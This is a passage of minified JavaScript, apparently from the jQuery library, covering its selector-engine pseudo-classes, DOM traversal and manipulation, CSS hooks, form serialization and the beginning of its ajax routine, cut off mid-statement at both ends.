n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:st(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:st(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}},f=y.compareDocumentPosition?function(e,t){return e===t?(l=!0,0):(!e.compareDocumentPosition||!t.compareDocumentPosition?e.compareDocumentPosition:e.compareDocumentPosition(t)&4)?-1:1}:function(e,t){if(e===t)return l=!0,0;if(e.sourceIndex&&t.sourceIndex)return e.sourceIndex-t.sourceIndex;var n,r,i=[],s=[],o=e.parentNode,u=t.parentNode,a=o;if(o===u)return ot(e,t);if(!o)return-1;if(!u)return 1;while(a)i.unshift(a),a=a.parentNode;a=u;while(a)s.unshift(a),a=a.parentNode;n=i.length,r=s.length;for(var f=0;f<n&&f<r;f++)if(i[f]!==s[f])return ot(i[f],s[f]);return f===n?ot(e,s[f],-1):ot(i[f],t,1)},[0,0].sort(f),h=!l,nt.uniqueSort=function(e){var t,n=[],r=1,i=0;l=h,e.sort(f);if(l){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e},nt.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},a=nt.compile=function(e,t){var n,r=[],i=[],s=A[d][e+" "];if(!s){t||(t=ut(e)),n=t.length;while(n--)s=ht(t[n]),s[d]?r.push(s):i.push(s);s=A(e,pt(i,r))}return s},g.querySelectorAll&&function(){var e,t=vt,n=/'|\\/g,r=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,i=[":focus"],s=[":active"],u=y.matchesSelector||y.mozMatchesSelector||y.webkitMatchesSelector||y.oMatchesSelector||y.msMatchesSelector;K(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="<p test=''></p>",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="<input type='hidden'/>",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t<n;t++)if(v.contains(u[t],this))return!0});o=this.pushStack("","find",e);for(t=0,n=this.length;t<n;t++){r=o.length,v.find(e,this[t],o);if(t>0)for(i=r;i<o.length;i++)for(s=0;s<r;s++)if(o[s]===o[i]){o.splice(i--,1);break}}return o},has:function(e){var t,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:function(e){return!!e&&(typeof e=="string"?st.test(e)?v(e,this.context).index(this[0])>=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r<i;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&n.nodeType!==11){if(o?o.index(n)>-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/<tbody/i,gt=/<|&#?\w+;/,yt=/<(?:script|style|link)/i,bt=/<(?:script|object|embed|option|style)/i,wt=new RegExp("<(?:"+ct+")[\\s/>]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,Nt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X<div>","</div>"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1></$2>");try{for(;r<i;r++)n=this[r]||{},n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),n.innerHTML=e);n=0}catch(s){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){return ut(this[0])?this.length?this.pushStack(v(v.isFunction(e)?e():e),"replaceWith",e):this:v.isFunction(e)?this.each(function(t){var n=v(this),r=n.html();n.replaceWith(e.call(this,t,r))}):(typeof e!="string"&&(e=v(e).detach()),this.each(function(){var t=this.nextSibling,n=this.parentNode;v(this).remove(),t?v(t).before(e):v(n).append(e)}))},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=[].concat.apply([],e);var i,s,o,u,a=0,f=e[0],l=[],c=this.length;if(!v.support.checkClone&&c>1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a<c;a++)r.call(n&&v.nodeName(this[a],"table")?Lt(this[a],"tbody"):this[a],a===u?o:v.clone(o,!0,!0))}o=s=null,l.length&&v.each(l,function(e,t){t.src?v.ajax?v.ajax({url:t.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):v.error("no ajax"):v.globalEval((t.text||t.textContent||t.innerHTML||"").replace(Tt,"")),t.parentNode&&t.parentNode.removeChild(t)})}return this}}),v.buildFragment=function(e,n,r){var s,o,u,a=e[0];return n=n||i,n=!n.nodeType&&n[0]||n,n=n.ownerDocument||n,e.length===1&&typeof a=="string"&&a.length<512&&n===i&&a.charAt(0)==="<"&&!bt.test(a)&&(v.support.checkClone||!St.test(a))&&(v.support.html5Clone||!wt.test(a))&&(o=!0,s=v.fragments[a],u=s!==t),s||(s=n.createDocumentFragment(),v.clean(e,n,s,r),o&&(v.fragments[a]=u&&s)),{fragment:s,cacheable:o}},v.fragments={},v.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){v.fn[e]=function(n){var r,i=0,s=[],o=v(n),u=o.length,a=this.length===1&&this[0].parentNode;if((a==null||a&&a.nodeType===11&&a.childNodes.length===1)&&u===1)return o[t](this[0]),this;for(;i<u;i++)r=(i>0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1></$2>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]==="<table>"&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("<div>").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return 